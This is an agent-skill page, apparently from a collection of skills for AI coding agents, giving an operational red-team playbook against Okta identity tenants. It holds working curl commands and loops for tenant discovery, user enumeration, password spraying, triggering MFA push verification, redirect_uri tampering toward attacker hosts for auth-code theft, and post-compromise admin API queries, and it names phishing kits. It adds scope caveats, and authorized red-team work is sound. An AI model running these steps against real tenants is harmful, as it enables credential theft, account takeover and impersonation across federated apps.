Okta attack
Skill adriannoes/awesome-agentic-ai/cursor-claude-codex/skills/bug-hunter/skills/okta-attack
329 agent skills (Cursor, Claude Code & Codex), 5,380 OpenClaw skills, 201 ML notebooks, 7 textbooks, 52 research papers, 17 industry reports for PMs, Designers & Developers.
npx -y skills add adriannoes/awesome-agentic-ai --skill okta-attackAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
What its author says it does
Copied from the file, not written here
Okta-as-IdP red-team attack chain — tenant discovery, user enumeration (multiple vectors), authentication flow analysis (factors enumeration, push-notification fatigue, SMS bypass), password spray with lockout discipline, Okta-specific phishing primitives (kits, FastPass abuse, OIDC redirect_uri tampering), MFA enumeration, post-compromise admin API surface. Many enterprise orgs use Okta instead of (or alongside) Entra ID. Distinct endpoints, distinct rate-limiting, distinct factor flows. Use when recon shows `<tenant>.okta.com`, `<tenant>.okta-emea.com`, `<tenant>.oktapreview.com`, or autodiscover-style records pointing at Okta IdP.
SKILL.md
13.8 KB, ~3.5k tokens by cl100k_base, as published. Nobody here has run it
When to use this skill
Trigger when:
- DNS shows
<tenant>.okta.comor<tenant>.okta-emea.com(EMEA region) - Login flow redirects to
<tenant>.okta.com/loginor/app/<app_id>/sso/saml - Web pages reference
/signin/customize,oktapreview.com, orauth-js-sdk - Recon notes "uses Okta for SSO"
- A target has
*.okta.comSAN in TLS cert - Identity-fabric mapping returns Okta as IdP for a corporate app
DO NOT use for:
- Entra ID (use
m365-entra-attackinstead) - Google Workspace (use
google-workspace-attack— not yet built) - ADFS (different protocol, on-prem)
Tenant discovery
Direct guesses
# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
for region in okta okta-emea oktapreview; do
host="$tenant.$region.com"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
[ "$code" != "404" ] && [ "$code" != "000" ] && echo " $host $code"
done
done
Cross-ref from DNS
# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
dig +short "sso.$domain" CNAME
dig +short "login.$domain" CNAME
dig +short "auth.$domain" CNAME
dig +short "okta.$domain" CNAME
done
Cross-ref from app HTTP flow
# Visit corporate-app login, follow redirects
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant
User enumeration
Method 1 — /api/v1/authn differential
The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.
# Probe single user — DON'T spray, this counts as auth attempt!
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<email>","password":"_test_invalid_pw"}'
# Response codes:
# 401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
# 401 + "errorCode":"E0000119" → account locked
# 200 → MFA prompt (cred VALID, MFA needed)
# 200 + "status":"SUCCESS" → full auth (rare in modern setups)
⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.
Method 2 — /api/v1/users/me/factors timing
Some flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.
Method 3 — Sign-in widget JS endpoint
curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
-H "Accept: application/json"
# Response varies by tenant config
Method 4 — Org-specific identifier probing
Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:
[email protected]
[email protected]
[email protected]
[email protected]
Method 5 — OIDC /v1/authorize with login_hint
# Tampering with login_hint param can reveal user existence on some configs
curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't
Authentication flow analysis (always do this first)
# Initial auth — observe what factors come back
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-H "Content-Type: application/json" \
-d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool
Response structure reveals factor configuration:
{
"stateToken": "00ABC...",
"factorResult": "WAITING",
"status": "MFA_REQUIRED",
"_embedded": {
"factors": [
{"factorType": "push", "provider": "OKTA"},
{"factorType": "token:software:totp", "provider": "OKTA"},
{"factorType": "sms", "provider": "OKTA"},
{"factorType": "call", "provider": "OKTA"},
{"factorType": "email", "provider": "OKTA"},
{"factorType": "question", "provider": "OKTA"},
{"factorType": "webauthn", "provider": "FIDO"}
]
}
}
Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:
webauthn(FIDO2) — phishing-resistantquestion(security questions) — extremely weak; KBA attackssms/call— phishing-able (push notification fatigue, SIM swap)push— phishing-able via MFA fatigueemail— phishing-able if attacker has email read accesstotp— phishing-able via AiTM
Password spray (with Okta-specific lockout discipline)
Lockout policy
Okta default: 10 failed sign-ins → lockout (configurable per-org). Some orgs configure much stricter (3 fails).
Discipline:
- ≤2 attempts per user lifetime per engagement (safer than 1 in Entra because Okta lockout is sometimes 3 fails)
- Track per-user in atomic state file
- Stop on first valid hit OR if LOCKED rate exceeds threshold
Spray endpoint
# Same /api/v1/authn — see authentication flow above
Status codes to watch for
| Response | Meaning |
|---|---|
200 status=MFA_REQUIRED | Password is VALID — MFA challenge waiting |
200 status=SUCCESS + sessionToken | Full auth (only if MFA not required for this user) |
200 status=PASSWORD_EXPIRED | Password is VALID but user must change it |
200 status=LOCKED_OUT | Account locked (pre-existing or our cause) |
401 E0000004 | Authentication failed (user doesn't exist OR wrong password — Okta unifies) |
401 E0000119 | User is locked |
429 | Rate-limit hit |
Push-notification fatigue (MFA bombing)
If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.
⚠ OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.
Detection-only check (does target allow it?)
# Initiate factor verification
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
-H "Content-Type: application/json" \
-d '{"stateToken":"<from_authn>"}'
# A real test would loop this — DON'T do that without explicit OK
OIDC redirect_uri tampering
Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:
# Get the app's authorize endpoint
curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool
# Test redirect_uri injection
for ruri in \
"https://attacker.example.com/" \
"https://target.com.attacker.com/" \
"https://[email protected]/" \
"https://target.com#@attacker.com/" \
"https://target.com\\@attacker.com/" \
"//attacker.com/" \
"https://target.com/cb?next=https://attacker.com/"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" \
"https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
echo " $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain
SAML SP misconfiguration check (per-app)
Each Okta SAML app has its own SP metadata:
# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"
# Look for:
# AuthnRequestsSigned="false" ← see hunt-saml for XSW
# WantAssertionsSigned="false" ← assertion-replay possible
# <NameIDFormat>...emailAddress</NameIDFormat>
Okta Admin API (post-cred-compromise)
If a valid cred + MFA-completed token is obtained:
# Get session token
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
-d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken
# Exchange for API token (admin only)
# Test admin endpoints (all require valid SSWS token):
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs" # audit log
Okta-specific phishing kits (informational — OOS for non-phishing engagements)
- EvilProxy — Okta-aware AiTM kit
- Modlishka — generic AiTM
- Evilginx2 — has Okta phishlets
Document existence; do not deploy without explicit phishing scope.
FastPass / Okta Verify abuse
Okta FastPass is push-based + device-bound. Bypasses:
- Device trust spoofing (requires kit + endpoint compromise — internal-only)
- Push fatigue (see above)
- Phishing redirect to fake FastPass prompt
Common Okta tenant configuration patterns
| Indicator | Configuration |
|---|---|
<tenant>.okta.com/api/v1/iam/orgs returns 401 (not 404) | API IAM endpoints enabled — admin attack surface |
customize/sign-in page reachable anon | Tenant brand customization is public — useful intel |
Multiple *.okta.com SAN certs | Multi-tenant org (less common) |
oktapreview.com subdomain | Preview/sandbox tenant — typically weaker security |
Tooling
okta-attacker/okta-toolkit— open-source Okta attack utilitiesOktaTerrify— for post-compromise Okta enumerationoktajackingtechniques — IAM-level abuse (requires admin access)
Anti-patterns
- DO NOT use Entra-style spray pace on Okta — Okta's anti-automation is tuner-different; rate-limit hits faster
- DO NOT skip factor enumeration — knowing the factor list before attempting spray informs the realistic threat model
- DO NOT assume MFA-fatigue is in scope — it's social engineering; explicit OK required
- DO NOT confuse
*.oktapreview.comwith production — preview is a non-prod tenant, findings have different severity
Bridge to neighboring skills
m365-entra-attack— sibling skill for the M365 case; identical mental modelhunt-oauth— OIDC redirect_uri tampering, state attack, PKCE bypasshunt-saml— XSW / signature-stripping for per-app SAML SPhunt-mfa-bypass— push fatigue, OTP brute, replaymid-engagement-ir-detection— Okta SOC dashboards are sensitive; expect mitigations during testing
Anti-pattern: Okta user enumeration in 2024+
Several techniques publicly documented through 2022 (e.g., /api/v1/authn differential errors) have been hardened. Don't rely on stale knowledge — confirm enumeration vector freshness on each engagement by:
- Testing 1 known-existing username (e.g.
info@<domain>if reachable) - Testing 1 known-not-existing username
- Comparing responses byte-by-byte and timing
If responses are identical, the vector is hardened — pivot to OneDrive-equivalent or different approach.
Related Skills & Chains
hunt-subdomain— Okta tenant naming patterns (<org>.okta.com,<org>.oktapreview.com,<org>-admin.okta.com) frequently include orphan/dev tenants. Chain primitive: Okta tenant discovery via/.well-known/okta-organization→ enumerate<org>-dev,<org>-uat,<org>-testsubdomains →hunt-subdomainorphan-tenant identification → claim abandoned tenant → SSO takeover (legitimate<org>users redirected through compromised IdP for any app federated to the dev tenant).m365-entra-attack— Okta-as-IdP for M365 is common in hybrid orgs. Chain primitive:okta-attackuser enumeration + spray succeeds on Okta tenant → Okta is federated to Entra → SAML assertion issued by compromised Okta user → full M365 access without ever touchinglogin.microsoftonline.comdirectly (bypasses Entra Conditional Access in many configurations).hunt-saml— Okta issues SAML assertions to every federated downstream app. Chain primitive: Okta admin or developer credential captured → mint arbitrary SAML assertions in Okta admin →hunt-samlXSW or signature manipulation not even needed — legitimately signed assertions for arbitrary impersonation across every federated app (Salesforce, Workday, AWS, GitHub, M365).hunt-mfa-bypass— Okta supports multiple factors with varying enforcement. Chain primitive: Okta password sprayed → MFA challenge →hunt-mfa-bypassfactor-downgrade (push-fatigue, SMS fallback, voice fallback, security-question fallback) → bypass to authenticated session.triage-validation— Okta findings can be high-impact but need the 7-Question Gate run on whether the captured artifact (token, code, factor) actually grants meaningful access. Chain primitive: validated Okta primitive →triage-validationto confirm access plane →redteam-report-templatewith explicit federated-app blast-radius.